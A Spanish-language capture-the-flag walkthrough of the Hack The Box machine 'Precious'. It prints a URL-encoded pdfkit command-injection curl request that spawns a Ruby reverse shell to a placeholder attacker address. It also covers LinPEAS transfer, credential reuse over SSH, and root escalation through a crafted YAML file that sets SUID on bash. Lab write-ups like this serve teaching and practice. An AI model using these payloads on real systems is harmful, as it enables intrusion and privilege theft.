Precious
OS | Linux |
Difficulty | Easy |
Points | 20 |
IP | 10.10.11.189 |
Intro
Klk mi gente!!!, mi nombre es the_owner, y en el día de hoy estaremos explotando la máquina Precious de HTB, es una máquina Linux, que cuenta con un servicio web y uno ssh, vamos a ver que encontramos!
- Primero vamos a ejecutar nuestro nmap para verificar los puertos abiertos que tiene la máquina:
nmap -sS -Pn -vvv 10.10.11.189 -oG allports
- Luego obtenido los puertos rápidamente podemos ejecutar un escaneo más profundo específicamente en esos puertos. Esto lo haremos con el siguiente comando:
┌──(root㉿kali)-[/home/…/Desktop/htb/precious/nmap]
└─# nmap -sC -sV -p22,80 10.10.11.189 -oN nmap-results
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-08 21:31 EDT
Stats: 0:00:07 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 21:31 (0:00:06 remaining)
Nmap scan report for precious.htb (10.10.11.189)
Host is up (0.13s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 845e13a8e31e20661d235550f63047d2 (RSA)
| 256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
|_ 256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
80/tcp open http nginx 1.18.0
| http-server-header:
| nginx/1.18.0
|_ nginx/1.18.0 + Phusion Passenger(R) 6.0.15
|_http-title: Convert Web Page to PDF
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.15 seconds
Accediendo a la web
Cuando vemos un puerto 80 ya tenemos indicio de que posiblemente estamos frente a un servidor web, a parte de que también lo vimos en los resultados de NMAP :v, vamos directo a ver que tiene la página.
Esto es algo interesante una web que convierte en pdf todas las urls que le pases. Vamos a darle un check que nos tira Wappanalyzer.
Nada interesante en realidad, estuve buscando algún vector de ataque pero nada de nada.
Lo que haremos es poner algún link para que nos arroja la página.
Puse la URL oficial de la página de kali y recibí este error por lo que deduzco que la máquina no tiene acceso a internet por lo tanto vamos a intentar que cargue algo de alguna web que tengamos local, esto lo haremos con “ el módulo http.server¨ de python. Vamos a ejecutar el siguiente comando:
python -m http.server
Inmediatamente corramos este comando tendremos un servidor local que podemos clonar por medio de la web
Encontrando lo interesante
Vamos a recibir el siguiente output que efectivamente es una copia de la página web. Me llega la idea de analizar el archivo que acabamos de obtener, lo que haremos es lo siguiente:
- Descargamos el archivo.
- lo analizamos con la herramienta “exiftool”
┌──(root㉿kali)-[/home/kali/Desktop/htb/precious]
└─# exiftool ckgm8c90069qsda591ajnv2jk4bdj500.pdf
ExifTool Version Number : 12.57
File Name : ckgm8c90069qsda591ajnv2jk4bdj500.pdf
Directory : .
File Size : 17 kB
File Modification Date/Time : 2023:05:08 18:30:03-04:00
File Access Date/Time : 2023:05:08 18:31:23-04:00
File Inode Change Date/Time : 2023:05:08 18:31:18-04:00
File Permissions : -rw-r--r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Page Count : 1
Creator : Generated by pdfkit v0.8.6
Bien!!! obtenemos más información, y una que de verdad sirva, vamos a realizar la siguiente búsqueda en google
Ganando acceso
En este link https://github.com/shamo0/PDFkit-CMD-Injection podemos ver que ya nos proporciona un exploit válido muy fácil de ejecutar, aquí abajo se los dejo solo tienen que cambiar las secciones correspondientes.
curl 'TARGET_ADDRESS' -X POST -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: TARGET_ADDRESS' -H 'Connection: keep-alive' -H 'Referer: TARGET_ADDRESS' -H 'Upgrade-Insecure-Requests: 1' --data-raw 'url=http%3A%2F%2FLOCAL-ADDRESS%3ALOCAL-PORT%2F%3Fname%3D%2520%60+ruby+-rsocket+-e%27spawn%28%22sh%22%2C%5B%3Ain%2C%3Aout%2C%3Aerr%5D%3D%3ETCPSocket.new%28%22LOCAL-ADDRESS%22%2CLOCAL-PORT%29%29%27%60'
GG!! Obtuvimos la shell (somos un usuario llamado ruby), iremos rápidamente a realizar tratamiento de la tty.
El tratamiento de tty se refiere a cómo los caracteres se manejan en el terminal. Esto incluye cosas como el eco de caracteres y la eliminación de caracteres de retroceso. También puede incluir el manejo de señales de control, como Ctrl-C y Ctrl-Z.
Esto lo haremos con este one-liner de python
python3 -c 'import pty; pty.spawn("/bin/bash")'
El comando python -c 'import pty; pty.spawn("/bin/bash")'
se utiliza para mejorar la experiencia de la terminal en un shell interactivo. Esto se logra utilizando la biblioteca pty
de Python para crear un seudoterminal que simula una sesión de terminal completa. Una vez que se ha ejecutado este comando, el usuario obtiene control total sobre la sesión de terminal, lo que permite utilizar la mayoría de las funciones de la terminal, como la navegación del historial de comandos, el autocompletado y la edición de comandos. Además, el usuario puede cambiar de usuario o ejecutar comandos que requieren permisos de superusuario (root). Para salir de la sesión de terminal mejorada, se puede utilizar el comando exit
.
Enumerando info
Una vez tenemos esto ready, comenzaremos a movernos dentro del sistema, les recomiendo que utilicen leanpeas para este proceso.
LinPEAS es una herramienta de enumeración de Linux que se utiliza para buscar información sobre el sistema operativo y buscar vulnerabilidades. La herramienta es muy útil para los pentesters y los administradores de seguridad que desean asegurarse de que sus sistemas Linux están protegidos contra ataques. LinPEAS busca información sobre el sistema operativo, los usuarios y los permisos, y también busca archivos y directorios que podrían ser explotados por los atacantes. En resumen, es una herramienta de enumeración muy útil para encontrar información valiosa en sistemas Linux.
Puede encontrar más información sobre LinPEAS en el siguiente enlace:
Teniendo esto recuerden que no tienen acceso a internet desde esa máquina, pues lo que haremos es lo siguiente:
- Descargar LinPEAS en nuestra máquina local.
- Subir un servidor http con python.
- Descargar el archivo a la máquina víctima.
Una vez hayamos realizado este proceso podremos correrlo y obtendremos algunos resultados interesantes. Revisando los outputs vemos algo interesante e inusual
Estos directorios no deberían estar allí, vamos a revisarlos.
Encontrando credenciales
Encontramos la posible contraseña del user henry, que si hacemos ls debajo de su directorio nos damos cuenta que este es el user que posee el user.txt.
Accediendo por ssh
Una vez logueados como el user henry obtendremos la flag de USER:
┌──(root㉿kali)-[/home/kali]
└─# ssh henry@10.10.11.189
henry@10.10.11.189's password:
Linux precious 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon May 8 23:13:54 2023 from 10.10.14.14
-bash-5.1$ ls
dependencies.yml ll.sh user.txt
-bash-5.1$ cat user.txt
f5730ab2006283323df43e11e1f725c9
-bash-5.1$
Escalando a root
Para no alargar más el writeup, volví a correr LinPeas y encontré un archivo en /opt muy interesante, y que se nota que es el vector de ataque para ganar root :V.
El archivo se llama “update_dependencies.rb”, vemos que el archivo fue creado por root así que no podemos modificarlo, pero si leemos el código observamos que llama a un archivo .yml que seguramente por medio de este es que vamos a ganar acceso.
Hice una pequeña búsqueda en google y me encontré con esto
Si entendemos un poco el código vemos que en la penúltima línea git_Set se ejecuta un comando, pues lo que harmos es crear un archivo en /home/henry/ que se llame dependencies.yml y pegaremos el código que dejé en la imagen.
Esto que ven arriba es simple, lo que hice fue cambiar el comando de id por “chmod +s /bin/bash”
con esto le damos privs de SUID al binario, lo que hará que ganar acceso como root sea pan comido.
Algo que me di cuenta después es que podíamos ver que podemos ejecutar el bin como root ejecutando “sudo -l” estos nos confirma más lo que queremos hacer. Podemos ejecutar el bin como root sin insertar la password de root. Pues solamente nos queda correr el archivo de la siguiente manera.
-bash-5.1$ /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
chmod: changing permissions of '/bin/bash': Operation not permitted
Traceback (most recent call last):
33: from /opt/update_dependencies.rb:17:in `<main>'
32: from /opt/update_dependencies.rb:10:in `list_from_file'
31: from /usr/lib/ruby/2.7.0/psych.rb:279:in `load'
30: from /usr/lib/ruby/2.7.0/psych/nodes/node.rb:50:in `to_ruby'
29: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
28: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
27: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
26: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:313:in `visit_Psych_Nodes_Document'
25: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
24: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
23: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
22: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:141:in `visit_Psych_Nodes_Sequence'
21: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `register_empty'
20: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `each'
Obtendremos un output de error pero eso no significa que hayamos hecho las cosas mal, todo lo contrario, da error porque simplemente nuestro código no tiene ver con la finalidad del programa, pero aunque esto pase, nuestro código corrió exitósamente, para comprobarlo solo corremos:
-bash-5.1$ bash -p
bash-5.1# whoami
root
bash-5.1# cd /root
bash-5.1# cat root.txt
5c2f7225229143dc5a44f9879f9b172e
bash-5.1#
GG YA TENEMO TOOOOO!!!
Términos:
- SUID (Set owner User ID) es un permiso en sistemas Linux que permite a un usuario ejecutar un archivo con los privilegios del propietario del archivo, en lugar de los privilegios del usuario que lo ejecuta. Esto se utiliza comúnmente para permitir que los usuarios ejecuten programas que requieren permisos de root sin tener que otorgar permisos de root a los usuarios en sí mismos.
- Ruby es un lenguaje de programación interpretado y de alto nivel diseñado para la creación de aplicaciones web y móviles. Es conocido por su sintaxis fácil de leer y escribir, así como por su capacidad para manejar tareas complejas con una sintaxis simple. Ruby se utiliza ampliamente para la creación de aplicaciones web y móviles, así como para la creación de herramientas de automatización y scripts.
- Linpeas es una herramienta de Linux que se utiliza para enumerar información sobre el sistema y detectar posibles vulnerabilidades del sistema operativo. Puede ser muy útil en un entorno de pruebas de penetración para identificar vectores de ataque y mejorar la postura de seguridad general de un sistema.
- Un archivo YML es un archivo de texto plano con una estructura jerárquica que se utiliza para almacenar datos. El formato YML se utiliza a menudo en aplicaciones web para configurar y almacenar datos de configuración. Se compone de pares de clave-valor que se organizan en una estructura de árbol. Es una alternativa a XML y JSON.
2stty
es un comando en sistemas operativos Unix y Unix-like que se utiliza para cambiar y mostrar varias configuraciones de terminal. Por ejemplo, se puede usar para cambiar la velocidad de transmisión, el número de bits de datos y la paridad. También se puede utilizar para configurar la terminal para que interprete ciertas combinaciones de teclas como secuencias de escape.
- Wappalyzer es una extensión del navegador que detecta tecnologías web utilizadas en sitios web. Puede detectar sistemas de gestión de contenidos, marcos web, herramientas de análisis y más.
- En Python, el módulo
http.server
proporciona clases para implementar un servidor web HTTP. Este módulo se utiliza comúnmente para crear servidores de prueba rápidos y sencillos. Conhttp.server
, es posible crear un servidor web en una sola línea de código. Por ejemplo:
python3 -m http.server